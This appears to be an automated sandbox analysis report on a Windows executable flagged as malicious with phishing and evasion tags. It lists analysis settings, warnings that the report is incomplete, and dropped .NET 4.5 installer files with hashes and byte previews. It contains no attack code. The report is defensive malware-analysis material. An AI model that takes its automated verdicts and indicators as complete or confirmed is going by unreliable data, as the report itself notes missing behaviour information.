            Number of new started drivers analysed:0
            Number of existing processes analysed:0
            Number of existing drivers analysed:0
            Number of injected processes analysed:0
            Technologies:
            • HCA enabled
            • EGA enabled
            • AMSI enabled
            Analysis Mode:default
            Analysis stop reason:Timeout
            Sample name:Auu2j0pT0B.exe
            renamed because original name is a hash value
            Original Sample Name:13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe
            Detection:MAL
            Classification:mal76.phis.evad.winEXE@115/232@0/0
            EGA Information:
            • Successful, ratio: 100%
            HCA Information:
            • Successful, ratio: 93%
            • Number of executed functions: 285
            • Number of non-executed functions: 145
            Cookbook Comments:
            • Found application associated with file extension: .exe
            • Stop behavior analysis, all processes terminated

            Warnings

            • Exclude process from analysis (whitelisted): Conhost.exe, dllhost.exe, SIHClient.exe
            • Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, www.imagerymacdermott.click, fe3cr.delivery.mp.microsoft.com
            • Not all processes where analyzed, report is missing behavior information
            • Report size exceeded maximum capacity and may have missing behavior information.
            • Report size exceeded maximum capacity and may have missing disassembly code.
            • Report size getting too big, too many NtOpenKeyEx calls found.
            • Report size getting too big, too many NtQueryValueKey calls found.
            • VT rate limit hit for: Auu2j0pT0B.exe

            Simulations

            Behavior and APIs

            ⊘No simulations

            Joe Sandbox View / Context

            IPs

            ⊘No context

            Domains

            ⊘No context

            ASNs

            ⊘No context

            JA3 Fingerprints

            ⊘No context

            Dropped Files

            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
            C:\02160d95efb0ac51c5e073\1029\SetupResources.dllAUk4I65ZJE.exeGet hashmaliciousUnknownBrowse
              C:\02160d95efb0ac51c5e073\1025\SetupResources.dllAUk4I65ZJE.exeGet hashmaliciousUnknownBrowse
                C:\02160d95efb0ac51c5e073\1028\SetupResources.dllAUk4I65ZJE.exeGet hashmaliciousUnknownBrowse

                  Created / dropped Files

                  C:\02160d95efb0ac51c5e073\1025\LocalizedData.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (410), with CRLF line terminators
                  Category:dropped
                  Size (bytes):50780
                  Entropy (8bit):4.151593123802722
                  Encrypted:false
                  SSDEEP:384:4pupdWWKNT0KsjCktoswOkjTJleMr5dYv:mWyT8SjTJleY0
                  MD5:D84DB0827E0F455F607EF501108557D0
                  SHA1:D275924654F617DDAF01B032CF0BF26374FC6CD5
                  SHA-256:A8D9FD3C7EBB7FEE5ADB3CAFE6190131CEBFCBEFF7F0046A428C243F78EAC559
                  SHA-512:1B08115A4EA03217CE7A4D365899BD311A60490B7271DB209D1E5979A612D95C853BE33D895570E0FB0414AB16EB8FD822FE4E3396019A9EDD0D0C7FF9E57232
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.M.i.c.r.o.s.o.f.t.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".M.i.c.r.o.s.o.f.t."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.D.o.t.N.e.t.F.x.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=."...N.E.T. .F.r.a.m.e.w.o.r.k."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.M.a.j.o.r.M.i.n.o.r.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".4...5."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.L.a.n.g.I.d.F.o.r.L.P.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".9.1.(."./.>..... . . . . . .<.T.e.x.t. .I.D.=.

                  C:\02160d95efb0ac51c5e073\1025\SetupResources.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):28616
                  Entropy (8bit):6.405352484558194
                  Encrypted:false
                  SSDEEP:384:TY26i2NqoJnpSwGWdeWS1LHB0GftpBjHKDHRN7p/XlXxHvu:qRJFuWi1KDZXW
                  MD5:4364D7A28BBF1D22600EDC6FADD71054
                  SHA1:452433470A2D3182916F729DD061B6BA892923EC
                  SHA-256:75DEE1371CD1ADC05DED84A01D20B5186848B9C2CBC823F7B87132DD92FB70FC
                  SHA-512:CAB44710285FBE07E7F9532A12490CC239A385645C3C51EB312FB33B2D4C13719BD87E905A641F6829F5994B40D691B2C911FC4658439FDA23C57A9F5EC20737
                  Malicious:false
                  Antivirus:
                  • Antivirus: ReversingLabs, Detection: 0%
                  Joe Sandbox View:
                  • Filename: AUk4I65ZJE.exe, Detection: malicious, Browse
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................5%......5".....Rich............................PE..L....l.O.........."!.........................................................P......Lx....@.......................................... ...*...........2...=...........................................................................................text...G...........................@..@.rsrc....0... ...,..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\02160d95efb0ac51c5e073\1025\eula.rtf

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:Rich Text Format data, version 1, ANSI, code page 1252, default language ID 1033
                  Category:dropped
                  Size (bytes):16059
                  Entropy (8bit):4.12934235955277
                  Encrypted:false
                  SSDEEP:384:uoC6shE8lWd2M6B3qbHlTM0956zoYh+YCIQz2:RcS2tB3qbHlg0956zuZIQy
                  MD5:A636A9C03E6942C8DD5F51B531BEE0BA
                  SHA1:AB6A1DD1A26A476614279D7987B249E7FA1B30F3
                  SHA-256:BB8B7FBC427FC96B08C69E2FF99EB2E443B1AF73C42BCF0B48B9C791BB2F5E15
                  SHA-512:9DB3989F6B54506B1E09A9B8193BB9B67B088753911D76F486E2F1C36EF874229E1CF8A6A58B47E96D06641A741EF0EC777012B18496D874E98768039681C25B
                  Malicious:false
                  Preview:{\rtf1\fbidis\ansi\ansicpg1252\deff0\deflang1033\deflangfe2052{\fonttbl{\f0\fswiss\fprq2\fcharset178 Tahoma;}{\f1\fswiss\fprq2\fcharset0 Tahoma;}{\f2\froman\fprq2\fcharset178 Times New Roman;}{\f3\froman\fprq2\fcharset2 Symbol;}{\f4\froman\fprq2\fcharset0 Times New Roman;}}..{\colortbl ;\red0\green0\blue255;}..{\stylesheet{ Normal;}{\s1 heading 1;}{\s2 heading 2;}}..{\*\generator Msftedit 5.41.21.2510;}\viewkind4\uc1\pard\rtlpar\nowidctlpar\sb120\sa120\qr\lang1025\b\f0\rtlch\fs20\'d4\'d1\'e6\'d8 \'ca\'d1\'ce\'ed\'d5 \'c8\'d1\'e4\'c7\'e3\'cc \lang1033\f1\ltrch MICROSOFT\lang1025\f0\rtlch \'c7\'e1\'c5\'d6\'c7\'dd\'ed\'c9\lang1033\f1\ltrch\par..\pard\brdrb\brdrs\brdrw10\brsp20 \rtlpar\nowidctlpar\sb120\sa120\qr .NET FRAMEWORK 4.5\lang1025\f0\rtlch \'e1\'e4\'d9\'c7\'e3 \'c7\'e1\'ca\'d4\'db\'ed\'e1 \lang1033\f1\ltrch WINDOWS\lang1025\f0\rtlch \'e3\'e4 \lang1033\f1\ltrch MICROSOFT\lang1025\f0\rtlch \'e6\'cd\'d2\'e3 \'c7\'e1\'e1\'db\'c7\'ca \'c7\'e1\'e3\'d1\'ca\'c8\'d8\'c9 \'c8\'e5\lang10

                  C:\02160d95efb0ac51c5e073\1028\LocalizedData.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                  Category:dropped
                  Size (bytes):42220
                  Entropy (8bit):4.266305991564799
                  Encrypted:false
                  SSDEEP:384:4hLpoeYY7x67+uzAAcZPNM7t65EmCy50CJg5g4oHDPLv:MGMU6HJg50
                  MD5:FF41100CC12E45A327D670652F0D6B87
                  SHA1:CB53D671CB66D28B6EB7247A1A0C70A114D07E6B
                  SHA-256:EF3DE7AB3D80A4D2865B9E191D2311112B4870103D383AE21882F251BBDE7F0A
                  SHA-512:F8A2F8DB5957A43AA82BD7D193B2FF2A151BBA6A9D0AD2D39E120909A0F8939123B389EBB4244A417F9E4D8E46629C49AC193C320231CB614253612AF45281A8
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.M.i.c.r.o.s.o.f.t.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".M.i.c.r.o.s.o.f.t."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.D.o.t.N.e.t.F.x.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=."...N.E.T. .F.r.a.m.e.w.o.r.k."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.M.a.j.o.r.M.i.n.o.r.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".4...5."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.L.a.n.g.I.d.F.o.r.L.P.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".A~.-N.e"./.>..... . . . . . .<.T.e.x.t. .I.D.

                  C:\02160d95efb0ac51c5e073\1028\SetupResources.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):25032
                  Entropy (8bit):6.711002460708694
                  Encrypted:false
                  SSDEEP:384:LUkzS6cDn+8sRkWpSEW+1LHB0GftpBjT0wDHRN7Pzl15n1:DW6FHO0Wi1hDX11
                  MD5:4DBEF564D5D4E15C1BFD8E4EBB8D58C7
                  SHA1:6D6C5064F23534A8DBC8679B9B24B73DC7355094
                  SHA-256:A07618A4FD2742D4B38DD3797ECDE057115C27D1CA10C3B5C0AA9F30C3458B61
                  SHA-512:7A1A2DDE068D68D1FD869EBF4EA58A242F1DCFEA40CFB70885F3219CC6549BA327AA133A515EF17612DEBE9053B2F2EA3A1CDE0387273FB043D1ABD06667E407
                  Malicious:false
                  Antivirus:
                  • Antivirus: ReversingLabs, Detection: 0%
                  Joe Sandbox View:
                  • Filename: AUk4I65ZJE.exe, Detection: malicious, Browse
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................5%......5".....Rich............................PE..L....l.O.........."!......... ...............................................@......I.....@.......................................... ..,............$...=...........................................................................................text...G...........................@..@.rsrc.... ... ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\02160d95efb0ac51c5e073\1028\eula.rtf

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:Rich Text Format data, version 1, ANSI, code page 1252, default language ID 1033
                  Category:dropped
                  Size (bytes):12251
                  Entropy (8bit):4.143306194480607
                  Encrypted:false
                  SSDEEP:192:GfsQbeYNKQxu3IHDAHWf2WsiyYvIvPibL//SFOhroLERMCJ2:UbeYNKQxu3IHDR2WsiyYvIvPif//BkI2
                  MD5:F389CA94BB9C90F677E774A14DC11744
                  SHA1:4B8327D7569B0607D871D8F44561E28AE592143F
                  SHA-256:6D7E89D51AF454325D60FCAA6C428C7E5A0499B7F48942A5F7967E7A1F2C06CF
                  SHA-512:85355292B631ACC63B08F21C85A11A56268E7401D5F2D882138B1358113F2D252BAC669DEDCCC24FB6D9419A97D49BEFD9C853D61B2DED7ABF3591CA0FF6E9AB
                  Malicious:false
                  Preview:{\rtf1\ansi\ansicpg1252\deff0\deflang1033\deflangfe2052{\fonttbl{\f0\fswiss\fprq2\fcharset0 Tahoma;}{\f1\froman\fprq2\fcharset136 PMingLiU;}{\f2\froman\fprq2\fcharset0 Times New Roman;}{\f3\froman\fprq2\fcharset2 Symbol;}}..{\colortbl ;\red0\green0\blue255;}..{\stylesheet{ Normal;}{\s1 heading 1;}{\s2 heading 2;}}..{\*\generator Msftedit 5.41.21.2510;}\viewkind4\uc1\pard\nowidctlpar\sb120\sa120\b\f0\fs20 MICROSOFT \lang1028\f1\'b3\'6e\'c5\'e9\'bc\'57\'b8\'c9\'b1\'c2\'c5\'76\'b1\'f8\'b4\'da\lang1033\f2\par..\pard\brdrb\brdrs\brdrw10\brsp20 \nowidctlpar\sb120\sa120\f0 MICROSOFT WINDOWS \lang1028\f1\'a7\'40\'b7\'7e\'a8\'74\'b2\'ce\'a4\'ce\'ac\'db\'c3\'f6\'bb\'79\'a8\'a5\'a5\'5d\'aa\'ba\lang1033\f2 .\f0 NET FRAMEWORK 4.5\f2\par..\pard\nowidctlpar\sb120\sa120\b0\f0 Microsoft \lang1028\f1\'a4\'bd\'a5\'71\lang1033\f0 (\lang1028\f1\'a9\'ce\'a8\'e4\'c3\'f6\'ab\'59\'a5\'f8\'b7\'7e\lang1033\'a1\'41\lang1028\'b5\'f8\'a1\'40\'b6\'51\'a5\'ce\'a4\'e1\'a9\'d2\'a9\'7e\'a6\'ed\'aa\'ba\'a6\'61\'c2\'49\'

                  C:\02160d95efb0ac51c5e073\1029\LocalizedData.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (471), with CRLF line terminators
                  Category:dropped
                  Size (bytes):55108
                  Entropy (8bit):3.6961562159751273
                  Encrypted:false
                  SSDEEP:384:44cpDMo+snsMs7FQjkj/svHov+iKe3dW9685MmcLb+Cvq1AMtHZx+0Y4IMHQWUpm:/FTeEJUH
                  MD5:51130F3479DF72FE12B05A7ABA1891D3
                  SHA1:FBAF9C0269D532A3CE00D725CD40772BC0AD8F09
                  SHA-256:8845D0F0FADFDF51B540D389BBB0A8A9655CF65055E55DCD54FA655576DD70A1
                  SHA-512:B641E22B81BABBDE85A6F324851D35F47BD769FC0CFF74911010AE620CF682F9C7BC4D946D2F80A46A9851F3CC912625991C8A3876F1D958EA4D49D8791D1815
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.M.i.c.r.o.s.o.f.t.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".M.i.c.r.o.s.o.f.t."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.D.o.t.N.e.t.F.x.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=."...N.E.T. .F.r.a.m.e.w.o.r.k."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.M.a.j.o.r.M.i.n.o.r.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".4...5."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.L.a.n.g.I.d.F.o.r.L.P.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".C.S.Y."./.>..... . . . . . .<.T.e.x.t. .I.D.=.

                  C:\02160d95efb0ac51c5e073\1029\SetupResources.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):29640
                  Entropy (8bit):6.15396934118117
                  Encrypted:false
                  SSDEEP:384:7Xh6jPufAtF/eQHHsUpfhxPh1KuTWpNeW3e1ae00GftpBjHWDHRN7f9lXxH+:7PfAx0KasiBWDZe
                  MD5:E0304FFC854B6C4B516C60FB42D9D862
                  SHA1:09255C4BF4C8F9D58BAAFC8DDAC8A1CA192530D9
                  SHA-256:6DFA8C04F3F673006FE419476EC123D83F81B336CBADEBAE62DC535EF281F5A0
                  SHA-512:C7F8CF48F8D8A8B5836BC7A0C3E2A535D63C59C886418AF277B4E4A75BB96D106A8092AE175F92A3630280A36C63644AE83DCAAEA699C297059C06AFA3B58D44
                  Malicious:false
                  Antivirus:
                  • Antivirus: ReversingLabs, Detection: 0%
                  Joe Sandbox View:
                  • Filename: AUk4I65ZJE.exe, Detection: malicious, Browse
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................5%......5".....Rich............................PE..L....l.O.........."!.........2...............................................P.......P....@.......................................... ..x............6...=...........................................................................................text...G...........................@..@.rsrc....0... ...0..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\02160d95efb0ac51c5e073\1029\eula.rtf

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:Rich Text Format data, version 1, ANSI, code page 1252, default language ID 1033
                  Category:dropped
                  Size (bytes):8232
                  Entropy (8bit):5.104037574166284
                  Encrypted:false
                  SSDEEP:192:vfF7OFixV49AQ17KJjBnH5eJYb3T+mBXVkwycSDVL2OMzrQ3z5imOmWy722:17TxV49L17K3nvarPcSDp2E3z5iTQ22
                  MD5:9F9FEB6463C3AC3942026D7D4EB5B867
                  SHA1:DBFD64EA6FB8DC95E5248A735D583181CF1DBB82
                  SHA-256:AF8D19EC3D5C62030E6CD0DAAABA9FBF8EEC5846C67862B49C58DDDD6FFC7464
                  SHA-512:9319FE1FDBC316DF35DD300AA94B92AF1A6FDFE77AA7899AB1B336D42858519EC03D6BB1836A26E4EE66611E2581A8FD14614F61742D20262E19841CB74A16D4
                  Malicious:false
                  Preview:{\rtf1\ansi\ansicpg1252\deff0\deflang1033\deflangfe2052{\fonttbl{\f0\fswiss\fprq2\fcharset238 Tahoma CE;}{\f1\fswiss\fprq2\fcharset0 Tahoma;}{\f2\froman\fprq2\fcharset2 Symbol;}}..{\colortbl ;\red0\green0\blue255;}..{\stylesheet{ Normal;}{\s1 heading 1;}{\s2 heading 2;}}..{\*\generator Msftedit 5.41.21.2510;}\viewkind4\uc1\pard\nowidctlpar\sb120\sa120\lang1029\b\f0\fs20 DODATKOV\'c9 LICEN\'c8N\'cd PODM\'cdNKY PRO SOFTWARE SPOLE\'c8NOSTI MICROSOFT\lang1040\f1\par..\pard\brdrb\brdrs\brdrw10\brsp20 \nowidctlpar\sb120\sa120\lang1033 ROZHRAN\'cd .\lang1029\f0 NET FRAMEWORK 4.5 PRO OPERA\'c8N\'cd SYST\'c9\lang1033\f1 M MICROSOFT WINDOWS A\~SOUVISEJ\'cdC\'cd JAZYKOV\'c9 SADY\par..\pard\nowidctlpar\sb120\sa120\lang1029\b0\f0 Licenci k\~tomuto dodatku v\'e1m poskytuje spole\'e8nost Microsoft Corporation (nebo n\'eckter\'e1 z\~jej\'edch afilac\'ed v\~z\'e1vislosti na tom, kde bydl\'edte).\lang1033\f1 \lang1029\f0 M\'e1te-li licenci k u\'9eit\'ed softwaru opera\'e8n\'edho syst\'e9mu Microsoft Wi

                  C:\02160d95efb0ac51c5e073\1030\LocalizedData.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (440), with CRLF line terminators
                  Category:dropped
                  Size (bytes):53644
                  Entropy (8bit):3.5581071746268647
                  Encrypted:false
                  SSDEEP:384:4eupaVqz3gdaf7atzjSmRLAgRQJSaaEpqJAD81OtXeXv:FEpqJcs
                  MD5:53AA67D27C43A35C6F61552EE9865F55
                  SHA1:504035DE2FE6432D54BC69F0D126516F363E1905
                  SHA-256:5D08B297B867179D8D2EC861DBF7E1DFDB283573430A55644E134EE39083157A
                  SHA-512:7A284076F6F204E5BE41EAB3C3ABB1983FBBC21669130CC7E6961A7B858F30CAF83FBCB2EF44CFE712341AB664347DF29D58B650F004608B015E61E4F5D4F47B
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.M.i.c.r.o.s.o.f.t.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".M.i.c.r.o.s.o.f.t."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.D.o.t.N.e.t.F.x.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=."...N.E.T. .F.r.a.m.e.w.o.r.k."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.M.a.j.o.r.M.i.n.o.r.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".4...5."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.L.a.n.g.I.d.F.o.r.L.P.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".D.A.N."./.>..... . . . . . .<.T.e.x.t. .I.D.=.

                  C:\02160d95efb0ac51c5e073\1030\SetupResources.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):29128
                  Entropy (8bit):6.100892021119256
                  Encrypted:false
                  SSDEEP:384:0dt6cJMcAp5IOWWpVfeWS1ae00GftpBjbQDHRN7j9nlXxHS:07zAuasitQDBHy
                  MD5:0D496AD055809B99AF321B729796002D
                  SHA1:E6346DE6C65123F6483DFF41AEE0B7B5493F8B70
                  SHA-256:F339FFC129DE9141D12DAD2BD41027BE8FA569C1B6E116217840B1ED1B6F2BB4
                  SHA-512:75B3D85EADA5CC9746D565F2574961431C9A59AFD0C738012685213312C9EBAEB80C243F359F3D777506F054CD21B9391F8C7D5221FAF1B505F31529CC63CD17
                  Malicious:false
                  Antivirus:
                  • Antivirus: ReversingLabs, Detection: 0%
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................5%......5".....Rich............................PE..L....l.O.........."!.........0...............................................P............@.......................................... ..t-...........4...=...........................................................................................text...G...........................@..@.rsrc....0... ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\02160d95efb0ac51c5e073\1030\eula.rtf

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:Rich Text Format data, version 1, ANSI, code page 1252, default language ID 1033
                  Category:dropped
                  Size (bytes):6737
                  Entropy (8bit):5.031687239866592
                  Encrypted:false
                  SSDEEP:192:WfntqwzJTczC5Lh8lEh4EJQhLURtuGz5XprdN0zxw98POOkuOEOgsOgiKsOPOnz2:oVJT4C1ClE6EJQhLURDpN0A8P2ubK42
                  MD5:6E8A67299461ACE72D774B311239C2AF
                  SHA1:4D418796C8BFDA7FCB491C50F33356951FEC2848
                  SHA-256:F5714FF5F312D81A8D7D5F30845B6A86A59A7E687838CEBCB39843ACB80D5A16
                  SHA-512:3E78082528058753A82F4FA6A4FA64ED37FFEB19330D6522D0D857A4C9C58BC4ACA0CD4D73F55A867DDAF380850B9B44EB98F6A93CF01C51D25985A131DA1A85
                  Malicious:false
                  Preview:{\rtf1\ansi\ansicpg1252\deff0\deflang1033\deflangfe1041{\fonttbl{\f0\fswiss\fprq2\fcharset0 Tahoma;}{\f1\froman\fprq2\fcharset2 Symbol;}}..{\colortbl ;\red0\green0\blue255;}..{\stylesheet{ Normal;}{\s1 heading 1;}{\s2 heading 2;}}..{\*\generator Msftedit 5.41.21.2510;}\viewkind4\uc1\pard\nowidctlpar\sb120\sa120\lang1030\b\f0\fs20 TILL\'c6G TIL LICENSVILK\'c5R FOR MICROSOFT-SOFTWARE\lang1033\par..\pard\brdrb\brdrs\brdrw10\brsp20 \nowidctlpar\sb120\sa120 .\lang1030 NET FRAMEWORK 4.5 TIL MICROSOFT WINDOWS-OPERATIVSYSTEM OG TILH\'d8RENDE SPROGPAKKER\lang1033\par..\pard\nowidctlpar\sb120\sa120\lang1030\b0 Microsoft Corporation (eller, afh\'e6ngigt af hvor De bor, en af dets associerede virksomheder) licenserer dette till\'e6g til Dem.\lang1033 \lang1030 Hvis De har licens til at bruge Microsoft Windows-operativsystemsoftware (\rdblquote softwaren\rdblquote ), m\'e5 De anvende dette supplement.\lang1033 \lang1030 De m\'e5 ikke bruge denne opgradering, hvis De ikke har licens til softwaren.

                  C:\02160d95efb0ac51c5e073\1031\LocalizedData.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (507), with CRLF line terminators
                  Category:dropped
                  Size (bytes):57072
                  Entropy (8bit):3.5683545561358163
                  Encrypted:false
                  SSDEEP:384:4ncpJWznnjpKRCgHBHu8oO0GAJGntzaPeR5VkJF3pgPEpJ3m/JbveA4v:yxhqikVkJF3pgPEpJ3m/tTA
                  MD5:F8E3A846D4ACA062413094F1D953075E
                  SHA1:09F2AA5B5EF693051862965C7C1063D31623F433
                  SHA-256:5A929328125673D922E7F969769B003F5CB6942DAA92818A384D50AC755174C2
                  SHA-512:95FEAD89AC87C700615DEEF0B5C75AA818172CB387FB5E7178D0A96ADB4A60ABE86C3793F1174AD27B3A12FE29A371682A032D83D2C63F50A223E37A9D5FC7C6
                  Malicious:false
